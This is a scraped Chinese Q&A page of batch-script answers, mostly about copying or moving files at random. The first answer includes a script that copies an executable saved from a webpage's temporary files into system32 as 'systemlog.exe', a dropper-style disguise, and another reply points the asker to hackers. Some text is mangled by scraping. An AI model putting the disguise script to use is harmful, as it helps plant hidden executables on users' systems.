批處理用ifnoteist命令判斷檔案複製不成功

2021-08-29 08:01:36 字數 2817 閱讀 7736

1樓:匿名使用者

以上指令碼寫法是正確

問題是你的bat檔案存在**,這個%cd%是指bat所在的目錄

還有就是bat不會自動檢測並執行,而是要人工雙擊開啟後,才會去判斷執行操作的

如果在執行網頁時的臨時檔案[1].exe是存在於“%userprofile%\local settings\temporary internet files”中的,而不是在"%cd%\中.

所以方法是

if not exist "%cd%\yongyou.exe" goto 1

copy "%cd%\yongyou.exe" %windir%\system32\systemlog.exe /y

goto 2

:1copy "%userprofile%\local settings\temporary internet files\[1].exe" %windir%\system32\systemlog.

exe /y

:2exit

這個bat檔案應處於:不在網頁中執行時將會產生yongyou.exe檔案的同一目錄。

執行流程是:開啟程式後不管在不在網頁中執行,你都得雙擊該bat檔案

2樓:匿名使用者

這個問題建議到黑客基地去問比較好.

求“使用批處理命令——隨機複製檔案”方法。

3樓:bb石俊傑

::測試通過可用,下面的(1,1,10)的10是資料夾放入***檔案10個數,自己可以修改。

@echo off&setlocal enabledelayedexpansion

:agset/a out+=1

md %out%

echo md %out%

for /l %%m in (1,1,10)do (

echo m=%%m

set n=0&cd.>ml.txt

for /f "delims=" %%i in ('dir /b *.***')do set/a n+=1&echo play!n!x %%~ni>>ml.txt

set/a m=!random!%%!n!+1

echo rand=!m!

find /i "play!m!x" ml.txt>tmp.txt

for /f "skip=2 tokens=1,* delims= " %%i in (tmp.txt)do move /y "%%j.***" "%~dp0%out%\%%j.

***"

)dir /b *.***&&goto ag

del ml.txt tmp.txt

4樓:匿名使用者

既問到我,怎麼問你情況也沒個回答,麥兜兄弟答了一種,也許你是想看這類批處理怎麼寫,我就自己再假定一種情況,給你寫個在批處理檔案處建01~10共10個資料夾,假定d:\***處有1000多個檔案平均移入到這10個檔案裡,但順序是隨機的,然後刪除d:\***

(**未經檢測)

@echo off&color f1

setlocal enabledelayedexpansion

set dn=d:\***

echo 稍候...

for /l %%l in (1,1,10)do (set dd=00%%l

if not exist !dd:~-2! md !dd:~-2!)

for /f "delims=" %%a in ('dir/b/a-d "%dn%\"')do call :yky "%%a"

for /f "tokens=2 delims==" %%b in ('set #')do (

set/a n+=1

set "nn= !n!"

set/a "m=(n-1)%%10+101"

move "%dn%\%%b" !m:~-2!\

cls&echo/&echo 正在隨機移動第!nn:~-3! 個: "%dn%\%%b" ==^> !m:~-2!)

rd "%dn%"

endlocal

cls&echo/&echo 處理完畢 按任意鍵退出...

pause>nul

exit/b

:yky

set ran=%random%

if defined #%ran% goto yky

set #%ran%=%~1&goto :eof

5樓:匿名使用者

有難度,先標記,慢慢寫,未完

@echo off&setlocal enabledelayedexpansion

dir /b>1.txt

set /a a=!random!%%1001for /f "delims=" %%i in ("1.txt") do (

set /a b+=1

if b equ a (copy %%i )

6樓:麥兜

@echo off&setlocal enabledelayedexpansion

for /f "delims=" %%1 in ('dir/b "*.***"')do if "%%1" neq %0 echo %%1>>n

for /l %%1 in (1,1,10)do (set/a s%%1=!random!%%999+1

set a=!a! !s%%1!)

set a=!a:~1!

for %%1 in (!a!)do for /f "delims=" %%2 in ('type "n"')do (set/a x+=1

if "!x!"=="%%1" copy "%%2" "d:\a")

pause

怎樣用批處理自動解除安裝軟體,怎樣用批處理解除安裝軟體

通過登錄檔查詢到安裝目錄在運作解除安裝程式。便利搜尋目錄 直接刪除 貌似還有登錄檔 現在網上有很多優化的 個人建議還是少用為好,有可能會造成你系統重要檔案丟失,不就是兩個軟體嗎,手動卸了吧。嘿嘿 怎樣用批處理解除安裝軟體 setlocal enabledelayedexpansion for f d...

高分懸賞求批處理命令改區域網設定

如果單純的是去掉對號,請使用的批處理 echo off set regpath hkcu software microsoft windows currentversion internet settings set reglist proxyenable reg dword for f skip ...

清除系統垃圾的批處理命令可以加入清除cookies的功

大可不必 其實我們用ie自帶的清除cookies更好 因為他清理的速度更快 批處理清理系統垃圾 不建議用批處理清理系統垃圾。建議用360的垃圾檔案清理 你是要清除系統垃圾的檔案嗎?你郵箱多少?我發給你。清理系統垃圾.bat 是好是壞?批處理刪除系統垃圾本身就是乙個垃圾檔案,但是對電腦沒有什麼影響。操...